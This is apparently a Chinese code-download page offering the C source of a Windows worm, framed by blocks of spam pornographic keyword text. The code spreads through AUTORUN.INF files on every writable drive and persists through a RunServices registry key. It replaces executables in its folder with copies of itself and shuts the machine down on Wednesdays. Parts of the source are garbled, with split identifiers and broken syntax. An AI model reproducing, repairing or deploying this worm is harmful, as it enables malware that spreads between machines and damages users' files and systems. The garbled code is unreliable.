亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲蟲下載站

?? 一個簡單的worm病毒程序.txt

?? 一個簡單的worm病毒程序
?? TXT
字號:
#include <stdio.h>
#include <windows.h>
static UINT MYFILELon_G=53760;
static char fpath[260],fname[260],fext[4],is_run=1;
//從fullpath中得到路徑和文件名、擴(kuò)展名
long SpliteName(char *fullpath,char *path,char *fname,char *fext)
{
    char temp[461],*p;
    if(fullpath==NULL||*fullpath==0)return 1;
    strncpy(temp,fullpath,460);
    p=temp+strlen(temp)-1;
    if(path!=NULL)*path=0;
    if(fname!=NULL)*fname=0;
    if(fext!=NULL)*fext=0;
    while(p>temp)
    {
        if(*p==".")
        {
            if(fext!=NULL)
            {
                strncpy(fext,p+1,3);
                *(fext+3)=0;
            }
            *p=0;
        }
        else if(*p=="\\")
        {
            if(fname!=NULL)
                strcpy(fname,p+1);
            *(p+1)=0;
            if(path!=NULL)
                strcpy(path,temp);
            return 0;
        }
        p--;
    }
    strcpy(fname,temp);
    return 0;
}
//將路徑、文件名、擴(kuò)展名連接成為一個完整的路徑
void MakePath(char *path,char *fname,char *fext,char *fullpath)
{
    if(path!=NULL)
    {
        strcpy(fullpath,path);
        if(fullpath[strlen(fullpath)-1]!="\\")
            strcat(fullpath,"\\");
    }
    strcat(fullpath,fname);
    if(fext!=NULL)
    {
        strcat(fullpath,".");
        strcat(fullpath,fext);
    }
}
//找到fpath\fname.fext文件,得到這個文件的大小
void GetMySize(void)
{
    char ctemp[520];
    wsprintf(ctemp,"%s%s.%s\0",fpath,fname,fext);
    HANDLE hd;
    WIN32_FIND_DATA wfd;
    hd=FindFirstFile(ctemp,&wfd);
    if(hd==INVALID_HANDLE_VALUE)return;
    MYFILELon_G=wfd.nFileSizeLow;
    FindClose(hd);
}
//返回0則fname就是找到的可執(zhí)行程序
unsigned long GetFile(char *fname,unsigned long init)
{
    unsigned short i;
    unsigned char dt[5];
    FILE *fp;
    static HANDLE hd;
    WIN32_FIND_DATA wfd;
    if(init==0)
    {
        hd=FindFirstFile("*.EXE",&wfd);
        if(hd==INVALID_HANDLE_VALUE)return 1;
    }
    else if(!FindNextFile(hd,&wfd))return 1;
    while(1)
    {
        if(wfd.nFileSizeLow!=MYFILELONG
                &&(wfd.dwFileAttributes&FILE_ATTRIBUTE_DIRECTOR)
==0)
        {
            fp=(FILE *)fopen(wfd.cFileName,"rb");
            fseek(fp,(long)0x3c,SEEK_SET);
            fread(dt,1,2,fp);
            fseek(fp,(long)(dt[0]|(dt[1]<<8)),SEEK_SET);
            memset(dt,0,2);
            fread(dt,1,2,fp);
            i=feof(fp);
            fclose(fp);
            //判斷這個文件是不是可以執(zhí)行的
            if((dt[0]=="L"||dt[0]=="N"||dt[0]=="P")&&dt[1]=="E")
            {
                strcpy(fname,wfd.cFileName);
                return 0;
            }
        }
        if(!FindNextFile(hd,&wfd))break;
    }
    return 1;
}
UINT MakeRun(char drive,char *fpath,char *fname,char *fext)
{
    char ctemp[460],ctemp1[260];
    UINT i;
    FILE *fp;
    char str[]="C:\\AUTORUN.INF",d[4]="C:\\";
    HANDLE hd;
    WIN32_FIND_DATA wfd;
    str[0]=drive;
    d[0]=drive;

    i=GetDriveType(d);
    if(i==DRIVE_CDROM||i==0||i==1)return 1;//不可寫的驅(qū)動器
    hd=FindFirstFile(str,&wfd);
    if(hd!=INVALID_HANDLE_VALUE)return 0;
    FindClose(hd);
    wsprintf(ctemp,"%s%s.%s",fpath,fname,fext);
    wsprintf(ctemp1,"%c:\\SysBoot.EXE",drive);
    if(CopyFile(ctemp,ctemp1,FALSE)==0)return 0;
    SetFileAttributes(ctemp1,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FIE
_A
TTRIBUTE_READONLY);
    fp=fopen(str,"w+");
    if(fp==NULL)return 0;
    fprintf(fp,"[AUTORUN]\n");
    fprintf(fp,"Open=\"%c:\\SysBoot.EXE\" /StartExplorer\n",drive);
    fclose(fp);
    SetFileAttributes(str,FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM|FILE_T
TR
IBUTE_READONLY);
    return 0;
}
int WINAPI WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance,
          PSTR szCmdLine, int iCmdShow)
{
    HKEY hKey,hKey1;
    char lpstr[520],targepath[520],*p,Val[260],ctemp[4],*cm;
    unsigned long i,type=REG_SZ,mxf=20;
    char j;
    DWORD cb;
    SYSTEMTIME st;

    cm=GetCommandLine();
    p=cm+strlen(cm)-1;
    while(*p!="\"")p--;
    *p=0;
    if(*cm=="\"")SpliteName(cm+1,fpath,fname,fext);
    else SpliteName(cm,fpath,fname,fext);
    GetMySize();
    if(RegOpenKey(HKEY_LOCAL_MACHINE,
         "Software\\Microsoft\\Windows\\CurrentVersion\\ZMXLIB1",&hKey=
=ERROR_SU
CCESS)
      RegCloseKey(hKey);
    else
    {
        for(j=0;j<24;j++)
            if(MakeRun("C"+j,fpath,fname,fext))break;
        if(RegOpenKey(HKEY_LOCAL_MACHINE,
         "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&K
ey)!=ERRO
R_SUCCESS)
        {
            RegOpenKey(HKEY_LOCAL_MACHINE,
                "Software\\Microsoft\\Windows\\CurrentVersion",h
Key1);
            RegCreateKey(hKey1,"runServices",&hKey);
            RegCloseKey(hKey1);
        }
        GetWindowsDirectory(targepath,260);
        wsprintf(lpstr,"%s\\SysTra.EXE /SysTra:Kernel32.Dll",targepath);
        cb=260;
        i=RegQueryValueEx(hKey,"SystemTra\0",NULL,&type,(unsigned char )
Val,&cb);

        if(i!=ERROR_SUCCESS||stricmp(Val,lpstr))
        {
            RegSetValueEx(hKey,"SystemTra\0",0,REG_SZ,(unsigned cha
*)lpstr,strlen(l
pstr));
            RegCloseKey(hKey);
        }
        else
        {
            GetLocalTime(&st);
            if(stricmp(szCmdLine,"/SysTra:Kernel32.Dll")==0)
            {
                if(st.wDayOfWeek==3)
                    ExitWindowsEx(EWX_SHUTDOWN,0);
                GetWindowsDirectory(targepath,260);
                SetCurrentDirectory(targepath);
                mxf=50;
            }
        }
        GetWindowsDirectory(targepath,260);
        MakePath(fpath,fname,fext,lpstr);
        strcat(targepath,"\\SYSTRA.EXE");
        CopyFile(lpstr,targepath,FALSE);
        if(GetDriveType(NULL)!=DRIVE_REMOVABLE)
        {
            for(i=0;i<mxf;i++)
            if(GetFile(lpstr,i)==0)
            {
                SpliteName(lpstr,NULL,targepath,NULL);
                strcat(targepath,".ZMX");
                if(CopyFile(lpstr,targepath,TRUE))
                    SetFileAttributes(targepath,FILE_ATTRIBT
E_SYSTEM|FILE_ATTRIBUTE_HIDDE
N);
                wsprintf(targepath,"%s%s.%s\0",fpath,fname,fext;

                CopyFile(targepath,lpstr,FALSE);
            }
        }
    }
    lpstr[0]="\"";
    if(i=stricmp(szCmdLine,"/StartExplorer"))
    {
        MakePath(fpath,fname,"ZMX",lpstr+1);
        strcat(lpstr,"\" ");
        strcat(lpstr,szCmdLine);
    }
    else {
        GetWindowsDirectory(lpstr+1,460);
        strcat(lpstr,"\\Explorer.exe\" ");
        strncpy(ctemp,fpath,2);
        ctemp[2]="\\";
        ctemp[3]=0;
        strcat(lpstr,ctemp);
    }
    WinExec(lpstr,iCmdShow);
    return 0;
}

?? 快捷鍵說明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
国产欧美精品一区二区三区四区 | 91精品国产入口| 亚洲制服丝袜av| 欧美视频你懂的| 亚瑟在线精品视频| 日韩精品一区二区三区四区视频| 蜜桃91丨九色丨蝌蚪91桃色| 91精品国产一区二区人妖| 精品午夜一区二区三区在线观看| 久久欧美中文字幕| 波多野结衣中文字幕一区| 亚洲一区二三区| 91精品国产91热久久久做人人| 美女一区二区三区在线观看| 久久久久综合网| 色综合天天在线| 日本伊人午夜精品| 国产蜜臀97一区二区三区| 色欧美乱欧美15图片| 日韩av电影免费观看高清完整版 | 国产精品2024| 玉足女爽爽91| 精品日韩在线一区| 91在线视频播放地址| 亚洲午夜久久久久久久久久久| 日韩欧美亚洲国产另类| 9久草视频在线视频精品| 亚洲va欧美va国产va天堂影院| 精品国产乱码久久久久久影片| 99久久精品免费看国产免费软件| 丝袜国产日韩另类美女| 国产日韩成人精品| 精品视频一区二区不卡| 国产乱人伦精品一区二区在线观看 | 国产成人精品一区二区三区网站观看| 专区另类欧美日韩| 欧美大片日本大片免费观看| av影院午夜一区| 久久国产夜色精品鲁鲁99| 亚洲品质自拍视频| 欧美精品一区二区蜜臀亚洲| 在线观看欧美精品| 国产福利视频一区二区三区| 日本午夜一区二区| 国产精品高清亚洲| 精品日韩99亚洲| 欧美日本精品一区二区三区| 91在线无精精品入口| 国产一区二区精品在线观看| 亚欧色一区w666天堂| 自拍偷在线精品自拍偷无码专区| 中文字幕在线观看一区二区| 欧美一区二区私人影院日本| 色菇凉天天综合网| 成人午夜免费av| 久88久久88久久久| 日本网站在线观看一区二区三区| 亚洲精品视频在线观看网站| 中文字幕精品一区二区精品绿巨人| 日韩午夜激情电影| 欧美精品在线视频| 91福利在线播放| 色婷婷久久久久swag精品| 国产黄人亚洲片| 国产乱码精品一品二品| 另类小说视频一区二区| 丝袜a∨在线一区二区三区不卡| 亚洲精品乱码久久久久久黑人| 中文字幕在线免费不卡| 中文字幕在线免费不卡| 国产精品福利一区| 中文字幕一区日韩精品欧美| 欧美国产国产综合| 国产精品久久久久一区| 国产精品美女久久久久久2018| 国产欧美日韩三区| 国产精品久久久久毛片软件| 中文字幕精品在线不卡| 国产精品久久久久久久久免费丝袜| 久久久国产精品不卡| 国产喂奶挤奶一区二区三区| 欧美国产综合色视频| 国产精品伦理在线| 亚洲精选免费视频| 亚洲国产精品一区二区www| 亚洲午夜日本在线观看| 三级影片在线观看欧美日韩一区二区 | 在线综合亚洲欧美在线视频| 欧美一级欧美一级在线播放| 欧美刺激午夜性久久久久久久| 欧美哺乳videos| 久久先锋影音av鲁色资源| 亚洲免费大片在线观看| 亚洲免费色视频| 日韩黄色片在线观看| 久久99精品久久久久久| 国产91精品在线观看| 99精品欧美一区二区三区小说 | 成人激情黄色小说| 日本精品视频一区二区三区| 欧美日韩成人一区| 久久新电视剧免费观看| 亚洲欧洲www| 午夜国产不卡在线观看视频| 免费成人结看片| 成人精品视频一区二区三区尤物| 一本一道波多野结衣一区二区| 欧美电影在哪看比较好| 久久综合色婷婷| 日韩美女视频19| 日韩电影在线观看网站| 成人美女在线视频| 欧美亚一区二区| 国产亚洲欧美色| 一区二区三区日韩精品| 久草这里只有精品视频| 91免费观看在线| 日韩欧美一区二区免费| 亚洲女爱视频在线| 韩国毛片一区二区三区| 色婷婷精品大视频在线蜜桃视频| 欧美一区二区不卡视频| 国产精品福利一区二区三区| 青青草原综合久久大伊人精品优势| 丁香啪啪综合成人亚洲小说| 欧美一级精品在线| 亚洲黄色小视频| 顶级嫩模精品视频在线看| 69av一区二区三区| 亚洲欧美综合色| 国产专区综合网| 欧美精品在线视频| 一区二区三区四区激情 | 亚洲成人午夜影院| 国产乱码精品一区二区三区av | 精品一区二区在线观看| 91蜜桃在线观看| 久久天天做天天爱综合色| 亚洲综合清纯丝袜自拍| 国产一区二区三区| 日韩一区二区三区视频| 亚洲自拍偷拍综合| 99久久婷婷国产精品综合| 精品播放一区二区| 免费人成网站在线观看欧美高清| 日本丶国产丶欧美色综合| 国产日韩欧美高清在线| 九色|91porny| 日韩一级高清毛片| 亚洲成人资源网| 欧美伊人精品成人久久综合97 | 国产视频一区二区三区在线观看| 亚洲成人av免费| 欧美亚洲日本一区| 亚洲人成精品久久久久| 91视视频在线直接观看在线看网页在线看| 精品国产免费视频| 久久精品国产99久久6| 日韩限制级电影在线观看| 午夜免费欧美电影| 欧美日韩一区二区三区高清| 亚洲一区二区三区视频在线播放 | 4438x成人网最大色成网站| 悠悠色在线精品| 色婷婷av一区二区三区gif| 国产精品久久久久一区二区三区共 | 国产成人精品免费在线| 亚洲一本大道在线| 色哟哟国产精品| 一区二区三区国产豹纹内裤在线| 99国内精品久久| 亚洲精品v日韩精品| 91福利在线免费观看| 亚洲成人资源在线| 91精品国产综合久久婷婷香蕉| 视频一区二区三区中文字幕| 91精品国产一区二区三区| 美女视频黄免费的久久| 精品国产乱码久久久久久影片| 国内精品嫩模私拍在线| 国产无一区二区| 99久久国产综合精品女不卡| 一区二区三区在线视频免费观看 | 高清国产一区二区| 亚洲欧洲成人av每日更新| 欧美色爱综合网| 日本不卡免费在线视频| 久久免费精品国产久精品久久久久| 国产一区二区在线影院| 国产精品大尺度| 欧美三级蜜桃2在线观看| 久久福利资源站| 国产精品久久久久四虎| 欧美四级电影在线观看| 美女性感视频久久| 国产精品网站在线观看| 欧美色图片你懂的| 精品中文字幕一区二区小辣椒| 日本一区二区动态图| 欧美日韩国产在线播放网站|